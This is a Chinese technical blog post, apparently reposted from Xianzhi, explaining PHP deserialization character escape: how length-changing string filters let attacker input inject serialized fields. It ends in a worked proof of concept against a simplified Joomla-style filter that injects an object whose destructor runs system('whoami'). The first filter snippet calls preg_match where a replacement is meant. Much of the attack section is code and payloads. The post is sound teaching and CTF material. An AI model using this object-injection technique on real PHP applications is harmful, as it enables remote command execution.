详解PHP反序列化中的字符逃逸
首发先知社区,https://xz.aliyun.com/t/6718/
PHP 反序列化字符逃逸
下述所有测试均在 php 7.1.13 nts 下完成
先说几个特性,PHP 在反序列化时,对类中不存在的属性也会进行反序列化

PHP 在反序列化时,底层代码是以
;作为字段的分隔,以}作为结尾(字符串除外),并且是根据长度判断内容的比如:在一个正常的反序列化的代码输入
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";},会得到如下结果

如果换成
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";仍然是上面的结果,但是如果修改它的长度,比如换成a:2:{i:0;s:6:"peri0d";i:1;s:4:"aaaaa";}就会报错

这里给个例子,将
x替换为yy,如何去修改密码?
<?php
function filter($string){
return preg_match('/x/','yy',$string);
}
$username = "peri0d";
$password = "aaaaa";
$user = array($username, $password);
var_dump(serialize($user));
echo '\n';
$r = filter(serialize($user));
var_dump($r);
echo '\n';
var_dump(unserialize($r));
正常情况下的序列化结果为
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}那如果把
username换成peri0dxxx,其处理后的序列化结果为a:2:{i:0;s:9:"peri0dyyyyyy";i:1;s:5:"aaaaa";},这个时候肯定会反序列化失败的可以看到
s:9:"peri0dyyyyyy"比以前多了 3 个字符回到前面,
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}想一下,它在进行修改密码之后就变为a:2:{i:0;s:6:"peri0d";i:1;s:6:"123456";}i:1;s:5:"aaaaa";}可以看到需要添加的字符串
";i:1;s:6:"123456";}长度为20假设要在
peri0d后面填充4个字符,那么就是s:30:'peri0dxxxx";i:1;s:6:"123456";}';在经过处理之后就是s:30:'peri0dyyyyyyyy";i:1;s:6:"123456";}';读取30个字符为peri0dyyyyyyyy";i:1;s:6:"12345这就需要继续增加填充字符,在有
20个x时,就实现了密码的修改
可以看到,这和
username前面的peri0d是毫无关系的,只和做替换的字符串有关
看一看 Joomla 的逃逸
- 看到有人写了简易版的 Joomla 处理反序列化的机制,修改之后代码如下:
<?php
class evil{
public $cmd;
public function __construct($cmd){
$this->cmd = $cmd;
}
public function __destruct(){
system($this->cmd);
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
file_put_contents("dbs.txt", $data);
}
function read(){
$data = file_get_contents("dbs.txt");
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
if(file_exists("dbs.txt")){
unlink("dbs.txt");
}
$username = "peri0d";
$password = "1234";
$payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));
- 详细的代码逻辑不再阐述,它这里就是先将
chr(0).'*'.chr(0)这3个字符替换为\0\0\0这6个字符,然后再反过来 - 我们这里最终的目的是实现任意的对象注入
- 正常来说,这个序列化结果为
O:4:"User":2:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";},我这里的目的是要把password的字段替换为我的payload即s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";} - 那么可以想一下,一种可能的结果就是
O:4:"User":2:{s:8:"username";s:32:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}} - 如果不清楚这个序列化怎么得到的,可以做一个反向的尝试,因为这是已经知道了要进行对象注入,可以在
User中多加一个$ts
<?php
class evil{
public $cmd;
public function __construct($cmd){
$this->cmd = $cmd;
}
public function __destruct(){
system($this->cmd);
}
}
class User
{
public $username;
public $password;
public $ts;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
$username = "peri0d";
$password = "1234";
$r = new User($username, $password);
$r->ts = new evil('whoami');
echo serialize($r);
// O:4:"User":3:{s:8:"username";s:6:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}
- 这个序列化结果中,
";s:8:"password";s:4:"1234长度为26,加上peri0d的6就是32了,这样就覆盖了password及其值,再将前面的属性改为2就符合原来的源码含义了,而且它是可以成功反序列化的 - 接下来就是如何构造
O:4:"User":2:{s:8:"username";s:32:"peri0d";s:8:"password";s:4:"1234";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}},很明显要利用前面的替换使peri0d扩增来覆盖password,然后将payload作为password的值输入,以达到payload注入 - 先修改
username="peri0d\\0\\0\\0"和$password = "123456".$payload得到序列化结果为O:4:"User":2:O:4:"User":2:{s:8:"username";s:12:"peri0d\0\0\0";s:8:"password";s:53:"123456s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}";} - 发现有问题,修改
$password = '123456";'.$payload."}" - 就得到了符合规范的序列化结果
O:4:"User":2:{s:8:"username";s:12:"peri0d\0\0\0";s:8:"password";s:56:"123456";s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}}";} - 这个肯定反序列化不了,这里就想一下,如果可以反序列化,结果如下,用
N代表NULL:O:4:"User":2:{s:8:"username";s:12:"peri0dN*N";s:8:"password";s:53:"123456s:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}";} - 这就会多出来
3个字符,这里一定是按照3的倍数进行字符增加的,而";s:8:"password";s:56:"123456长度为29,这就需要进行增加或减少,从而去凑3的倍数,这里选择减少,使password为1234则长度为27,即需要9组\0\0\0 - 最终的 payload :
<?php
$username = "peri0d\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0";
$payload = 's:2:"ts";O:4:"evil":1:{s:3:"cmd";s:6:"whoami";}';
$password = '1234";'.$payload."}";
write(serialize(new User($username, $password)));
var_dump(unserialize(read()));
结果:

顺便扯一句,这个可以作为一个 CTF 赛题出现,题目名就叫 Joomla,完全没毛病
参考链接
详解PHP反序列化中的字符逃逸的更多相关文章
- 详解 $_SERVER 函数中QUERY_STRING和REQUEST_URI区别
详解 $_SERVER 函数中QUERY_STRING和REQUEST_URI区别 http://blog.sina.com.cn/s/blog_686999de0100jgda.html 实例: ...
- 详解 Go 语言中的 time.Duration 类型
swardsman详解 Go 语言中的 time.Duration 类型swardsman · 2018-03-17 23:10:54 · 5448 次点击 · 预计阅读时间 5 分钟 · 31分钟之 ...
- 详解jquery插件中(function ( $, window, document, undefined )的作用。
1.(function(window,undefined){})(window); Q:(function(window,undefined){})(window);中为什么要将window和unde ...
- zz详解深度学习中的Normalization,BN/LN/WN
详解深度学习中的Normalization,BN/LN/WN 讲得是相当之透彻清晰了 深度神经网络模型训练之难众所周知,其中一个重要的现象就是 Internal Covariate Shift. Ba ...
- [转载]详解网络传输中的三张表,MAC地址表、ARP缓存表以及路由表
[转载]详解网络传输中的三张表,MAC地址表.ARP缓存表以及路由表 虽然学过了计算机网络,但是这部分还是有点乱.正好在网上看到了一篇文章,讲的很透彻,转载过来康康. 本文出自 "邓奇的Bl ...
- 详解WebService开发中四个常见问题(2)
详解WebService开发中四个常见问题(2) WebService开发中经常会碰到诸如WebService与方法重载.循环引用.数据被穿该等等问题.本文会给大家一些很好的解决方法. AD:WO ...
- 详解WebService开发中四个常见问题(1)
详解WebService开发中四个常见问题(1) WebService开发中经常会碰到诸如WebService与方法重载.循环引用.数据被穿该等等问题.本文会给大家一些很好的解决方法. AD:WO ...
- 详解Python编程中基本的数学计算使用
详解Python编程中基本的数学计算使用 在Python中,对数的规定比较简单,基本在小学数学水平即可理解. 那么,做为零基础学习这,也就从计算小学数学题目开始吧.因为从这里开始,数学的基础知识列位肯 ...
- 第7.16节 案例详解:Python中classmethod定义的类方法
第7.16节 案例详解:Python中classmethod定义的类方法 上节介绍了类方法定义的语法以及各种使用的场景,本节结合上节的知识具体举例说明相关内容. 一. 案例说明 本节定义的一个 ...
随机推荐
- 利用Python获取文件类型
这里选择使用使用filetype获取文件的类型. 使用filetype之前,先用pip安装filetype. #!/usr/bin/python3 import filetype import arg ...
- 单线程多任务协程vip电影爬取
单线程多任务协程vip电影爬取 --仅供学习使用勿作商用如有违规后果自负!!! 这几天一直在使用python爬取电影,主要目的也是为了巩固前段时间强化学习的网络爬虫,也算是一个不错的检验吧,面对众 ...
- vim-1-window,buffer and tab
Summary:A buffer is the in-memory text of a file. A window is a viewport on a buffer. A tab page is ...
- HDU - 1622 用到了层次遍历
题意: 给出一些字符串,由(,)包着,表示一个节点,逗号前面是节点的值,后面是节点从根节点走向自己位置的路线,输入以( )结尾,如果这组数据可以构成一个完整的树,输出层次遍历结果,否则输出not co ...
- 如何利用python实现为每行添加行数编号
可能还有更好的方法,在这里我是这么写的,针对小文件可以,但是如果文件内容太多,这种方法感觉不太好 先把所有的数据读取出来,然后利用W覆盖写入模式打开文件进行写入 遍历枚举类型数据后,默认是从0开始,然 ...
- 深入理解Java AIO(一)—— Java AIO的简单使用
深入理解Java AIO(一)—— Java AIO的简单使用 深入理解AIO系列分为三个部分 第一部分也就是本节的Java AIO的简单使用 第二部分是AIO源码解析(只解析关键部分)(待更新) 第 ...
- 粘包处理现象及其解决方案——基于NewLife.Net网络库的管道式帧长粘包处理方法
[toc] #1.粘包现象 每个TCP 长连接都有自己的socket缓存buffer,默认大小是8K,可支持手动设置.粘包是TCP长连接中最常见的现象,如下图 socket缓存中有5帧(或者说5包)心 ...
- Java多线程工具类之循环栅栏计数器
Java多线程下循环计数器 本文主要内容:CyclicBarrier(下文中凯哥就用cycBar来代替)定义介绍:举例说明:代码演示:从源码来看原理及总结:CyclicBarrier与CountDow ...
- Codeforces Round #623 (Div. 2, based on VK Cup 2019-2020 - Elimination Round, Engine)
A. Dead Pixel(思路) 思路 题意:给我们一个m*n的表格,又给了我们表格中的一个点a,其坐标为(x, y),问在这个表格中选择一个不包括改点a的最大面积的矩形,输出这个最大面积 分析:很 ...
- Visual Studio Code 1.44 设置简体中文界面语言(小白图文教程)
作为一款微软出品的编辑器,安装完毕后,默认界面竟然不是中文!而更“丧心病狂”的是菜单里竟然连“设置”或“设置语言”这种PC软件常见选项也没有!!这种设计对小白而言简直 反!!!人!!!类!!! (默认 ...